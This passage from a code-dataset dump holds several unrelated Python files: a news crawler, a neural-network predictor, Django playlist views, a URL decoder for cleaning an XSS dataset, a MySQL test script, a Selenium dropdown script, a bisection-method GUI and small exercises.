    \"})\n\n def crawl(self):\n try:\n first_load = True\n while not Zaker.update_stop:\n resp = requests.get(url=self.page_url, headers=Zaker.headers)\n if resp.status_code != 200:\n break\n if first_load:\n bs_obj = BeautifulSoup(resp.content, \"html.parser\")\n self.page_url = \"http:\" + bs_obj.find(\"input\", id=\"nexturl\").get(\"value\")\n first_load = False\n articles_list = bs_obj.findAll(\"div\", class_=\"figure flex-block\")\n if len(articles_list) == 0:\n break\n for article in articles_list:\n try:\n href = article.find(\"h2\").find(\"a\")\n title = href.get(\"title\")\n url = \"http:\" + href.get(\"href\")\n select_result = self.select_url(url)\n if select_result: # 查看数据库是否已经有该链接\n break\n image_url = article.find(\"a\", class_=\"img\").get(\"style\")\n start = image_url.find(\"(\")\n end = image_url.find(\")\")\n image_url = \"http:\" + image_url[start + 1: end]\n rel_date = article.find(\"div\", class_=\"subtitle\").findAll(\"span\")[1].get_text()\n # 文章发布的时间,一周以内是相对时间(天),今天的文章则相对时间为(时|分), 其他时间则是绝对时间yyyy-mm-dd\n date = self.convert_date(rel_date)\n if date < self.target_date: # 比较文章的发表时间,可以保留特定时间段内的文章\n Zaker.update_stop = 1 # 如果文章的发表时间在给定的时间之前,则停止爬虫\n continue\n date_str = date.strftime(Crawler.time_format)\n self.get_article_content(url)\n self.crawl_image_and_save(image_url)\n self.write_data_to_sheet(title, url, image_url, date_str,\n date_str, self.label, self.origin)\n self.insert_url(url)\n print(url)\n except BaseException as e:\n print(\"Zaker crawl error. ErrMsg: %s\" % str(e))\n else:\n json_obj = json.loads(resp.content)\n article_list = json_obj.get(\"data\").get(\"article\")\n self.page_url = \"http:\" + json_obj.get(\"data\").get(\"next_url\").replace(\"\\\\\", \"\")\n for article in article_list:\n try:\n title = article.get(\"title\")\n url = \"http:\" + article.get(\"href\").replace(\"\\\\\", \"\")\n select_result = self.select_url(url)\n if select_result: # 查看数据库是否已经有该链接\n break\n image_url = article.get(\"img\")\n if len(image_url) == 0:\n image_url = self.image_url\n else:\n image_url = \"http:\" + image_url.replace(\"\\\\\", \"\")\n rel_date = article.get(\"marks\")[1]\n # 文章发布的时间,一周以内是相对时间(天),今天的文章则相对时间为(时|分), 其他时间则是绝对时间yyyy-mm-dd\n date = self.convert_date(rel_date)\n if date < self.target_date: # 比较文章的发表时间,可以保留特定时间段内的文章\n Zaker.update_stop = 1 # 如果文章的发表时间在给定的时间之前,则停止爬虫\n continue\n date_str = date.strftime(Crawler.time_format)\n self.get_article_content(url)\n self.crawl_image_and_save(image_url)\n self.write_data_to_sheet(title, url, image_url, date_str,\n date_str, self.label, self.origin)\n self.insert_url(url)\n print(url)\n except BaseException as e:\n print(\"Zaker Crawler error. ErrMsg: %s\" % str(e))\n except BaseException as e:\n print(\"Zaker crawl error. ErrMsg: %s\" % str(e))\n finally:\n Zaker.update_stop = 0 # 重置为开始状态,为后续爬其他模块做准备。\n\n def get_article_content(self, url):\n resp = requests.get(url, headers=Zaker.headers)\n article_html = BeautifulSoup(resp.content, \"lxml\")\n article_body = article_html.find(\"div\", class_=\"article_content\").find(\"div\", id=\"content\")\n # 删除文章中不必要的\n content = self.parse_content(article_body)\n self.save_file(content, url)\n self.save_abstract(article_body, url)\n\n def parse_content(self, bs_obj):\n result = []\n items = bs_obj.descendants\n for item in items:\n if type(item) == bs4.element.NavigableString:\n continue\n # p标签以及对立的span标签都是需要的,但是p标签可能包含span标签\n if item.name == \"p\":\n if item.find(\"img\") is None:\n # f.write(item.__str__())\n self.insert_line(result, item)\n elif item.name == \"img\":\n src = item.get(\"data-original\")\n result.append({\"type\": \"image\", \"data\": src})\n elif item.name == \"span\":\n if self.check_parent(item):\n self.insert_line(result, item)\n # result.append({\"type\": \"text\", \"data\": item.__str__()})\n return json.dumps(result).encode(\"UTF-8\").decode(\"UTF-8\")\n\n @staticmethod\n def convert_date(date_str):\n \"\"\"\n 将时间字符串转换为绝对时间,如果已经是绝对时间,则不进行转化。\n 传入的字符串的格式基本为:1小时前,1天前,1分钟前,2018-03-20\n :param date_str:\n :return:\n \"\"\"\n try:\n if \"分\" in date_str:\n pos = date_str.find(\"分\")\n mins = int(date_str[:pos])\n time_gap = datetime.timedelta(minutes=mins)\n elif \"时\" in date_str:\n pos = date_str.find(\"小\")\n hours = int(date_str[:pos])\n time_gap = datetime.timedelta(hours=hours)\n elif \"天\" in date_str:\n day_gap = 0\n if \"昨\" in date_str:\n day_gap = 1\n elif \"前\" in date_str:\n day_gap = 2\n time_gap = datetime.timedelta(days=day_gap)\n else:\n time_gap = None\n if time_gap is not None:\n date = datetime.datetime.now() - time_gap\n else:\n date = datetime.datetime.strptime(\"2018-\" + date_str, \"%Y-%m-%d\")\n return date\n except BaseException as e:\n print(\"Convert time error in Zaker. ErrMsg: %s\" % str(e))\n\n\nclass YuLe(Zaker):\n\n def __init__(self):\n super().__init__()\n self.page_url = \"http://www.myzaker.com/channel/9\"\n self.label = \"娱乐\"\n\n\nclass TiYu(Zaker):\n\n def __init__(self):\n super().__init__()\n self.page_url = \"http://www.myzaker.com/channel/8\"\n self.label = \"娱乐\"\n\n\nclass HuLianWang(Zaker):\n\n def __init__(self):\n super().__init__()\n self.page_url = \"http://www.myzaker.com/channel/5\"\n self.label = \"资讯\"\n\n\ndef crawl():\n yl = YuLe()\n yl.crawl()\n ty = TiYu()\n ty.crawl()\n hlw = HuLianWang()\n hlw.crawl()\n\n\nif __name__ == \"__main__\":\n Crawler.initialize_workbook()\n crawl()\n Crawler.save_workbook()\n\n\n","repo_name":"jfqiao/who.focus_crawler","sub_path":"website_crawler/society_website/zaker.py","file_name":"zaker.py","file_ext":"py","file_size_in_byte":9132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1485793735","text":"import numpy as np\nfrom .ForwardPropagate import ForwardPropagate\nfrom .Softmax import Softmax\n\ndef Predict(X,Theta,L,s,Threshold=0.5,y2d=False):\n\n\tm = X.shape[0]\n\ta = []\n\tz = []\n\tL = np.size(s)\n\ta.append(X)\n\tfor j in range(1,L):\n\t\tif j == L-1:\n\t\t\tat = np.zeros((m,s[j]),dtype='float32')\n\t\telse:\n\t\t\tat = np.zeros((m,s[j]+1),dtype='float32')\n\t\tzt = np.copy(at)\n\t\ta.append(at)\n\t\tz.append(zt)\n\tForwardPropagate(a,z,L,Theta)\t\n\th = a[-1]\n\tprob = Softmax(z[-1])\n\tif y2d:\n\t\tresult = np.where(h >= Threshold)\n\t\tres = np.zeros(h.shape,dtype='int32')\n\t\tres[result[0],result[1]] = 1\n\t\treturn res,prob\n\tresult = np.where(h == np.array([np.max(h,axis=1)]).T) \n\tres = np.zeros(m,dtype='int32')\n\tres[result[0]] = result[1] + 1\n\treturn res,prob\n\t\n","repo_name":"mattkjames7/PyNeuralNetwork","sub_path":"PyNeuralNetwork/PyNet/old/Predict.py","file_name":"Predict.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6281243283","text":"from django.shortcuts import get_object_or_404, Http404, HttpResponseRedirect, reverse\nfrom django.urls import reverse_lazy\nfrom django.views.generic.list import ListView\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\nfrom mytube.apps.video.models import Video\nfrom .models import Playlist, PlaylistVideoMapping\n\nclass PlaylistDetailView(ListView):\n '''\n List the videos of a playlist\n '''\n\n model = PlaylistVideoMapping\n template_name = 'playlist/detail.html'\n context_object_name = 'entries'\n\n def get_queryset(self):\n '''\n Custom queryset to fetch playlist\n '''\n\n if self.kwargs.get('pk') is not None:\n self.id = self.kwargs.get('pk')\n\n self.playlist: Playlist = get_object_or_404(Playlist, id=self.id)\n\n if self.playlist.visibility == 'PRIVATE' and self.playlist.user != self.request.user:\n raise Http404\n\n return self.model.objects.filter(playlist=self.playlist)\n\n def get_context_data(self, *args, **kwargs):\n context_data = super(\n PlaylistDetailView, self).get_context_data(*args, **kwargs)\n context_data['playlist'] = self.playlist\n\n return context_data\n\n\nclass WatchLaterListView(LoginRequiredMixin, PlaylistDetailView):\n login_url = reverse_lazy('account:login')\n\n def dispatch(self, *args, **kwargs):\n self.id = Playlist.objects.get(\n deletable=False, name='Watch later', user=self.request.user).id\n return super(WatchLaterListView, self).dispatch(*args, **kwargs)\n\n\nclass FavouritesListView(LoginRequiredMixin, PlaylistDetailView):\n login_url = reverse_lazy('account:login')\n\n def dispatch(self, *args, **kwargs):\n self.id = Playlist.objects.get(\n deletable=False, name='Favourites', user=self.request.user).id\n return super(FavouritesListView, self).dispatch(*args, **kwargs)\n\n\n@login_required(login_url=reverse_lazy('account:login'))\ndef add_to_playlist(request):\n if request.method == 'POST':\n video_pk = request.POST.get('video_pk')\n playlist_pk = request.POST.get('playlist_pk')\n\n video = get_object_or_404(Video, id=video_pk)\n\n if playlist_pk is None:\n # Create new playlist\n name = request.POST.get('name', 'Untitled Playlist')\n visibility = request.POST.get('visibility', 'PUBLIC')\n\n playlist: Playlist = Playlist(\n name=name, user=request.user, visibility=visibility)\n playlist.save()\n else:\n playlist: Playlist = get_object_or_404(\n Playlist, id=playlist_pk, user=request.user)\n\n if playlist.has_video(video):\n playlist.remove_video(video)\n else:\n playlist.add_video(video)\n\n return HttpResponseRedirect(reverse('video:watch', args=(video_pk,)))\n","repo_name":"pranavsricharan/mytube","sub_path":"mytube/apps/playlist/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"4978557079","text":"from urllib.parse import urlparse, urlunparse\nfrom typing import Tuple\nfrom base64 import b64decode\nfrom urllib import parse\nfrom html import unescape\n\nclass DeepURL:\n\n def __init__(self, url: str = None):\n self.url = None\n\n\n if url is not None:\n self.url = urlparse(url)\n\n # all single decoders\n self._decodings = [\n self._de_url_decode,\n self._de_html_decode,\n self._de_hex_decode,\n self._de_base64_decode,\n self._de_url_unicode_decode\n ]\n \n def _de_url_unicode_decode(self, query_string : str) -> Tuple[bool, str]:\n try:\n try_dec = query_string.replace('%', '\\\\').encode('latin-1').decode('unicode-escape')\n if try_dec == query_string:\n return (False, query_string) \n return (True, try_dec)\n except:\n return (False, query_string)\n\n def _de_url_decode(self, query_string : str) -> Tuple[bool, str]:\n try_dec = parse.unquote_plus(query_string)\n if query_string == try_dec:\n return (False, query_string)\n return (True, try_dec)\n\n\n def _de_html_decode(self, query_string : str) -> Tuple[bool, str]:\n dec_str = unescape(query_string)\n if dec_str == query_string:\n return (False, query_string)\n return (True, dec_str)\n\n\n def _de_hex_decode(self, query_string : str) -> Tuple[bool, str]:\n try:\n dec_str = bytes.fromhex(query_string).decode(\"utf-8\")\n return (True, dec_str)\n except:\n return (False, query_string)\n\n\n def _de_base64_decode(self, query_string : str) -> Tuple[bool, str]:\n query_string = query_string.replace('-', '=')\\\n .replace('.', '+')\\\n .replace('_', '/')\n\n try:\n dec_str = b64decode(query_string, True).decode(\"utf-8\")\n return (True, dec_str)\n except:\n return (False, query_string)\n\n\n def _de_decode(self, encoded_string : str) -> Tuple[bool, str]:\n\n # empty strings can't be decoded\n if encoded_string == '':\n return (False, encoded_string)\n\n # run all single decoders \n all_decodings = list()\n for decoder in self._decodings:\n all_decodings.append( decoder(encoded_string) )\n\n some_decoded = False\n for past, dec_str in all_decodings:\n some_decoded = some_decoded or past\n if past:\n # attempt to further decode strings that successfully decoded\n (next_past, next_dec_str) = self._de_decode(dec_str)\n if next_past:\n return (True, next_dec_str)\n\n if some_decoded:\n return (False, encoded_string)\n else:\n return (True, encoded_string)\n\n\n def decode_url(self) -> Tuple[bool, str]:\n \n # recursively decode each segment of the URL\n dec_q, dec_query = self._de_decode(self.url.query) \n dec_p, dec_path = self._de_decode(self.url.path)\n deq_pa, dec_params = self._de_decode(self.url.params)\n deq_f, dec_frag = self._de_decode(self.url.fragment)\n\n tmp_url = urlunparse([self.url.scheme, \n 'website',\n dec_path,\n dec_params,\n dec_query,\n dec_frag])\n tmp_url = tmp_url.replace('\\n', ' ').replace('\\r', '')\n\n self.url = urlparse(tmp_url)\n return ( dec_q or dec_p or deq_pa or deq_f, \\\n tmp_url )\n\n\ndef main():\n with open('dec_xss_urls.txt', 'w') as dec_outfile,\\\n open('n_dec_xss_urls.txt', 'w') as n_dec_outfile,\\\n open('xss_urls.json', 'r') as infile:\n \n lines = infile.read().splitlines()\n decode_strings = set()\n\n for i, line in enumerate(lines):\n clean_line = line[9:]\n clean_line = clean_line[:-3]\n\n url = DeepURL(url=clean_line)\n decoded, decoded_str = url.decode_url()\n\n if decoded:\n decode_strings.add(decoded_str)\n else:\n n_dec_outfile.write(clean_line)\n n_dec_outfile.write('\\n')\n\n for dec_str in decode_strings:\n dec_outfile.write(dec_str)\n dec_outfile.write('\\n')\n\nif __name__ == '__main__':\n main()\n","repo_name":"dawson-brown/DeeperXSS","sub_path":"xss_filters/data/xssed_url_clean.py","file_name":"xssed_url_clean.py","file_ext":"py","file_size_in_byte":4340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73270208543","text":"def solution():\n group_num,question_num=map(int,input().split(' '))\n groups={}\n for _ in range(group_num):\n group_name=input()\n groups[group_name]=[]\n member_num=int(input())\n for _ in range(member_num):\n groups[group_name].append(input())\n\n for _ in range(question_num):\n question=input()\n question_type=int(input())\n if question_type== 0:\n print(\"\\n\".join(sorted(groups[question])))\n else:\n for group_name in groups.keys():\n if question in groups[group_name]:\n print(group_name)\n break\n\n\nif __name__ ==\"__main__\":\n solution()","repo_name":"JehyunJung/AlgorithmStudy","sub_path":"Problem_Solvings/백준/ch2/16165/16165.py","file_name":"16165.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18537819404","text":"import sys\nimport mysql.connector\n\n# Usage: $ python testMysql.py 'root' 'password'\n\n# Validate arguments\nif len(sys.argv)!=3:\n print(\"USAGE: $ python testMYSql.py \")\n exit()\n\n# Connect to database\nprint(\"1. Connecting to db...\")\nmydb = mysql.connector.connect(\n port=3306,\n user=sys.argv[1],\n passwd=sys.argv[2]\n)\n\nprint(\"Connected!\")\nprint(mydb) \n\n# Create table and insert data\nprint(\"\\n2. Testing db...\")\nmycursor = mydb.cursor()\n\nprint(\"\\n2.1. Databases list is...\")\nmycursor.execute('SHOW DATABASES')\ndblist = []\nfor x in mycursor.fetchall():\n print(x[0])\n dblist.append(x[0])\n\nif 'ies_test' in dblist:\n print(\"\\n2.2. There is no need to create ies_test for tests, as it is already created!\")\nelse:\n print(\"\\n2.2. Creating database ies_test...\")\n mycursor.execute(\"CREATE DATABASE ies_test\")\n\nprint(\"Changing context to ies_test...\")\nmycursor.execute(\"USE ies_test\")\n\nprint(\"\\n2.3. Tables list is...\")\nmycursor.execute(\"SHOW TABLES\")\ntableslist = []\nfor x in mycursor.fetchall():\n print(x[0]) \n tableslist.append(x[0])\n\nif 'customers' in tableslist:\n print(\"\\n2.4. Table customers is already created!\")\n print(\"\\n2.5. Not adding sample data, as it is expected to already exist!\")\nelse:\n print(\"\\n2.4. Creating table customers...\")\n mycursor.execute(\"CREATE TABLE customers (name VARCHAR(255), address VARCHAR(255))\")\n\n print(\"\\n2.5. Adding sample data to db...\")\n mycursor.execute(\"INSERT INTO customers(name, address) VALUES (%s, %s)\", (\"Person1\", \"Aveiro\"))\n mycursor.execute(\"INSERT INTO customers(name, address) VALUES (%s, %s)\", (\"Person2\", \"Coimbra\"))\n mycursor.execute(\"INSERT INTO customers(name, address) VALUES (%s, %s)\", (\"Person3\", \"Porto\"))\n\nprint(\"\\n2.6. The data on that table is...\")\nmycursor.execute(\"SELECT * FROM customers\")\nfor x in mycursor.fetchall():\n print(x)\n\nmydb.commit()\nprint(\"\\nALL TESTS DONE!\")\nmycursor.close()\nmydb.close()","repo_name":"gmatosferreira/IES_Project_G31","sub_path":"projDB/mysql/testMysql.py","file_name":"testMysql.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"20614222336","text":"def reverse(x):\n if x >= 0:\n r = int(str(x)[::-1])\n else:\n r = -int(str(x)[:0:-1])\n\n if -2 ** 31 < r < 2 ** 31 - 1:\n return r\n else:\n return 0\n\n\nwhile True:\n s = input()\n if s != '':\n print(reverse(s))\n else:\n break\n","repo_name":"lwabish/algorithm-and-language","sub_path":"chores/整数反转.py","file_name":"整数反转.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"838216525","text":"from select import select\nfrom tkinter.tix import Select\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import Select\nimport time\n\ndef select_values(element,value):\n select = Select(element)\n select.select_by_visible_text(value)\n\ndef select_values_without_select(dropdownlist,value):\n print(len(dropdownlist))\n for ele in dropdownlist:\n print(ele.text)\n if ele.text == value:\n ele.click()\n break\n\ndriver = webdriver.Chrome(ChromeDriverManager().install())\ndriver.implicitly_wait(10)\ndriver.get(\"https://www.orangehrm.com/orangehrm-30-day-trial/\")\nele_indus = driver.find_element(By.ID,\"Form_submitForm_Country\")\nselect = Select(ele_indus)\n#select.select_by_visible_text(\"India\")\n#select.select_by_index(10)\n#select.select_by_value(\"India\")\nselect_values(ele_indus,'India')\nele_list = select.options\n\n#for element in ele_list:\n# print(element.text)\n# if element.text == 'India':\n# element.click()\n# break\n\n#indus_options = driver.find_elements(By.XPATH,\"//select[@id='Form_submitForm_Country']/option\")\n#print(len(indus_options))\n#for ele in indus_options:\n# print(ele.text)\n# if ele.text == 'Austria':\n# ele.click()\n# break\n\nindus_options = indus_options = driver.find_elements(By.XPATH,\"//select[@id='Form_submitForm_Country']/option\")\nselect_values_without_select(indus_options,'Austria')\n \n\ndriver.close()\n\n\n","repo_name":"karanv68/Selenium_Python","sub_path":"PyTest/01_Search_options.py","file_name":"01_Search_options.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24741271442","text":"# Proyecto final métodos numéricos\r\n# Ingeniería de sistemas - Univalle\r\n# Integrantes: \r\n# Juan Felipe Arango Guzmán - 2060066 (Gauss-Seidel)\r\n# Carlos Eduardo Guerrero Jaramillo - 2060216 (Bisección)\r\n# Miguel Ángel Rivera Reyes - 2059876 (Newton-Raphson)\r\n# Juan Sebastián Ruiz Aguilar - 2059898 (Punto fijo)\r\n\r\n# Este método está implementado en el archivo gui.py\r\n\r\n# Este archivo fue una prueba para implementarlo en la gui\r\n# principal\r\n\r\nimport math\r\nimport tkinter.messagebox\r\nimport tkinter as tk\r\nimport customtkinter\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\r\nfrom math import e,sin,cos,tan, pi\r\n\r\ncustomtkinter.set_appearance_mode(\"dark\")\r\ncustomtkinter.set_default_color_theme(\"dark-blue\")\r\n\r\n\r\n\r\nclass App(customtkinter.CTk):\r\n\r\n def __init__(self):\r\n\r\n super().__init__()\r\n\r\n\r\n # configure window\r\n self.ecuacion = \"\"\r\n self.Xa = 0.0\r\n self.Xb = 0.0\r\n self.puntoMedio=0.0\r\n self.iteraciones = 0\r\n self.error=0.0\r\n self.f_c = 999999\r\n self.lst = []\r\n\r\n\r\n\r\n self.tolerancia = 0.0\r\n self.title(\"Biseccion - biseccion.py\")\r\n self.geometry(f\"{1280}x{720}\")\r\n\r\n # configure grid layout (4x4)\r\n self.grid_columnconfigure(1, weight=1)\r\n self.grid_columnconfigure((2, 3), weight=0)\r\n self.grid_rowconfigure((0, 1, 2), weight=1)\r\n\r\n\r\n\r\n # create sidebar frame with widgets\r\n self.sidebar_frame = customtkinter.CTkFrame(self, width=250, corner_radius=0)\r\n self.sidebar_frame.grid(row=0, column=0, rowspan=6, sticky=\"nsew\")\r\n self.sidebar_frame.grid_rowconfigure(7, weight=1)\r\n self.logo_label = customtkinter.CTkLabel(self.sidebar_frame, text=\"Bisección\",\r\n font=customtkinter.CTkFont(size=20, weight=\"bold\"))\r\n self.logo_label.grid(row=0, column=0, padx=20, pady=(20, 10))\r\n\r\n\r\n # main frame\r\n self.main_frame = customtkinter.CTkFrame(self, width=600, corner_radius=0)\r\n self.main_frame.grid(row=0, column=1, rowspan=4, sticky=\"nsew\", padx=25)\r\n\r\n # table internal table frame\r\n\r\n self.table_frame = customtkinter.CTkFrame(self.main_frame, height=400, width=80)\r\n self.table_frame.grid(row=2, column=4, padx=25)\r\n\r\n\r\n\r\n # Crear entradas\r\n self.entry_funcion = customtkinter.CTkEntry(self.sidebar_frame, placeholder_text=\"Ingrese la función a evaluar\",\r\n width=200)\r\n self.entry_funcion.grid(row=1, column=0, pady=10, padx=10)\r\n self.entry_cotaInferior = customtkinter.CTkEntry(self.sidebar_frame, placeholder_text=\"Ingrese la cota inferior\",\r\n width=160)\r\n self.entry_cotaInferior.grid(row=2, column=0, pady=10, padx=10)\r\n self.entry_cotaSuperior = customtkinter.CTkEntry(self.sidebar_frame, placeholder_text=\"Ingrese la cota superior\",\r\n width=160)\r\n self.entry_cotaSuperior.grid(row=3, column=0, pady=10, padx=10)\r\n self.entry_tolerancia = customtkinter.CTkEntry(self.sidebar_frame, placeholder_text=\"Ingrese la tolerancia\",\r\n width=160)\r\n self.entry_tolerancia.grid(row=4, column=0, pady=10, padx=10)\r\n self.entry_ok = customtkinter.CTkButton(self.sidebar_frame, width=85, text=\"Aceptar\", command=self.get_all_biseccion)\r\n self.entry_ok.grid(row=5, column=0, pady=10, padx=10)\r\n self.entry_reset = customtkinter.CTkButton(self.sidebar_frame, width=85, text=\"Salir\",\r\n command=self.reset_all_fields, state=\"disabled\")\r\n self.entry_reset.grid(row=6, column=0, pady=10, padx=10)\r\n\r\n\r\n\r\n self.grafico_t = customtkinter.CTkLabel(self.main_frame,height=17, text=\"Gráfico\", font=customtkinter.CTkFont(size=15, weight=\"bold\"))\r\n self.grafico_t.grid(row=1, column=0, sticky=\"nw\")\r\n self.grafico = customtkinter.CTkCanvas(self.main_frame)\r\n self.grafico.grid(row=2, column=0)\r\n ###\r\n\r\n\r\n\r\n def get_all_biseccion(self):\r\n self.ecuacion = self.entry_funcion.get()\r\n self.Xa = float(self.entry_cotaInferior.get())\r\n self.Xb = float(self.entry_cotaSuperior.get())\r\n self.tolerancia = float(self.entry_tolerancia.get())\r\n self.evaluacion()\r\n self.total_rows = len(self.lst)\r\n self.total_columns = len(self.lst[0])\r\n self.Table(self.table_frame)\r\n self.entry_ok.configure(state=\"disabled\")\r\n self.entry_reset.configure(state=\"normal\")\r\n\r\n\r\n def reset_all_fields(self):\r\n self.destroy()\r\n\r\n\r\n def open_input_dialog_event(self):\r\n dialog = customtkinter.CTkInputDialog(text=\"Type in a number:\", title=\"CTkInputDialog\")\r\n print(\"CTkInputDialog:\", dialog.get_input())\r\n\r\n def sidebar_button_event(self):\r\n print(\"sidebar_button click\")\r\n\r\n def funcion(self, x):\r\n return eval (self.ecuacion)\r\n\r\n def evaluacion(self):\r\n self.lst += [(\"Iteraciones\", \"An\", \"Bn\", \"Pn\", \"F(Pn)\", \"Error\")]\r\n #graphic = plt.Figure(figsize=(5,4))\r\n x1 = np.linspace((self.Xa - 10), (self.Xb + 10), 1000)\r\n\r\n y = list(map(lambda x: self.funcion(x), x1))\r\n\r\n fig = plt.figure()\r\n ax = fig.add_subplot(1, 1, 1)\r\n\r\n plt.plot(x1, y)\r\n plt.plot(self.puntoMedio, self.funcion(self.puntoMedio), marker=\"o\")\r\n\r\n chart = FigureCanvasTkAgg(fig, self.grafico)\r\n chart.get_tk_widget().pack()\r\n while abs(self.f_c) >= self.tolerancia:\r\n raizA = self.puntoMedio\r\n self.puntoMedio = (self.Xa + self.Xb) / 2\r\n f_a = self.funcion(self.Xa)\r\n f_b = self.funcion(self.Xb)\r\n self.f_c = self.funcion(self.puntoMedio)\r\n self.error=(abs((self.puntoMedio - raizA)/self.puntoMedio))\r\n self.iteraciones += 1\r\n print(\"Xa: \", self.Xa, \"Xb: \", self.Xb, \"c: \", self.puntoMedio, \"f_c\", self.f_c, \"Número de iteraciones: \", self.iteraciones)\r\n self.lst += [(self.iteraciones, self.Xa, self.Xb, self.puntoMedio, self.f_c, self.error)]\r\n\r\n if (f_a * self.f_c) < 0:\r\n self.Xb = self.puntoMedio\r\n elif (f_b * self.f_c) < 0:\r\n self.Xa = self.puntoMedio\r\n if abs(self.f_c) < self.tolerancia:\r\n break\r\n print(\"La raíz buscada es: \", self.puntoMedio)\r\n self.raizfinal = customtkinter.CTkLabel(self.table_frame, text=(\"La raíz buscada es aproximadamente: \"+ str(self.puntoMedio)))\r\n self.raizfinal.grid(row=0, column=0, pady=10, columnspan=7)\r\n self.nIter = customtkinter.CTkLabel(self.table_frame, text=(\"Iteraciones para encontrar la raíz: \" + str(self.iteraciones)))\r\n self.raizfinal.grid(row=1, column=0, pady=10, columnspan=7)\r\n\r\n\r\n def Table(self, main):\r\n # code for creating\r\n\r\n for i in range(self.total_rows):\r\n for j in range(self.total_columns):\r\n self.scrollbar = tk.Scrollbar(orient=\"horizontal\")\r\n self.e = Entry(main, width=10, fg='blue',\r\n font=('Arial', 7), xscrollcommand=self.scrollbar.set)\r\n self.e.focus()\r\n self.scrollbar.config(command=self.e.xview)\r\n self.e.config()\r\n self.e.grid(row=i+3, column=j)\r\n self.e.insert(END, self.lst[i][j])\r\n self.scrollbar.config(command=self.e.xview)\r\n self.e.config()\r\n\r\nif __name__ == '__main__':\r\n app = App()\r\n app.mainloop()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Juansebas064/ProyectoMetodos","sub_path":"ProyectoMetodos/biseccion.py","file_name":"biseccion.py","file_ext":"py","file_size_in_byte":7812,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26168461707","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n\nfrom copy import deepcopy\nimport glob\nimport json\nimport os\nimport time\nfrom datetime import datetime\n\nfrom six import text_type\n\nfrom taskgraph.config import load_graph_config\nfrom taskgraph.util.schema import validate_schema\nfrom taskgraph.util.vcs import calculate_head_rev, get_repo_path, get_repository_type\nfrom taskgraph.util import yaml\nfrom taskgraph.util.memoize import memoize\nfrom taskgraph.util.readonlydict import ReadOnlyDict\nfrom voluptuous import ALLOW_EXTRA, Optional, Required, Schema, Any\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\nROOT = os.path.join(BASE_DIR, \"taskcluster\", \"ci\")\nMANIFEST_DIR = os.path.join(BASE_DIR, \"signing-manifests\")\n\nSUPPORTED_SIGNING_FORMATS = (\n \"autograph_gpg\",\n \"autograph_authenticode\",\n \"autograph_authenticode_stub\",\n \"autograph_authenticode_sha2\",\n \"autograph_authenticode_sha2_stub\",\n \"autograph_hash_only_mar384\",\n \"macapp\",\n)\n\n\nbase_schema = Schema(\n {\n Required(\"bug\"): int,\n Required(\"sha256\"): str,\n Required(\"filesize\"): int,\n Required(\"private-artifact\"): bool,\n Required(\"signing-formats\"): [Any(*SUPPORTED_SIGNING_FORMATS)],\n Required(\"requestor\"): str,\n Required(\"reason\"): str,\n Required(\"artifact-name\"): str,\n Required(\"fetch\"): Any(\n {\n Optional(\"gpg-signature\"): str,\n Optional('type'): 'static-url',\n Required('url'): str,\n },\n {\n Required('type'): 'bmo-attachment',\n Required('attachment-id'): Any(str, int)\n }\n ),\n Required(\"manifest_name\"): str,\n Optional(\"mac-behavior\"): str,\n Optional(\"product\"): str,\n Optional(\"mac-entitlements-url\"): str,\n Optional(\"mac-provisioning-profile\"): str,\n }\n)\n\n\ndef check_manifest(manifest):\n # XXX add any manifest checks we want.\n # XXX sha256 is a valid sha256?\n # XXX url is a reachable url?\n # XXX bug exists in bugzilla?\n # XXX formats are known and valid for artifact-name\n pass\n\n\n@memoize\ndef get_manifest():\n manifest_paths = glob.glob(os.path.join(MANIFEST_DIR, \"*.yml\"))\n all_manifests = {}\n for path in manifest_paths:\n rw_manifest = yaml.load_yaml(path)\n manifest_name = os.path.basename(path).replace(\".yml\", \"\")\n rw_manifest[\"manifest_name\"] = manifest_name\n validate_schema(base_schema, deepcopy(rw_manifest), \"Invalid manifest:\")\n check_manifest(deepcopy(rw_manifest))\n assert manifest_name not in all_manifests\n all_manifests[manifest_name] = rw_manifest\n return ReadOnlyDict(all_manifests)\n","repo_name":"mozilla-releng/staging-adhoc-signing","sub_path":"taskcluster/adhoc_taskgraph/signing_manifest.py","file_name":"signing_manifest.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6759608764","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nQ = 1.602E-19\nPI = 3.14159\nAMU = 1.66E-27\nANGSTROM = 1E-10\nMICRON = 1E-6\nCM = 1E-2\nEPS0 = 8.85E-12\nA0 = 0.52918E-10\nK = 1.11265E-10\nME = 9.11E-31\nSQRTPI = 1.77245385\nSQRT2PI = 2.506628274631\nC = 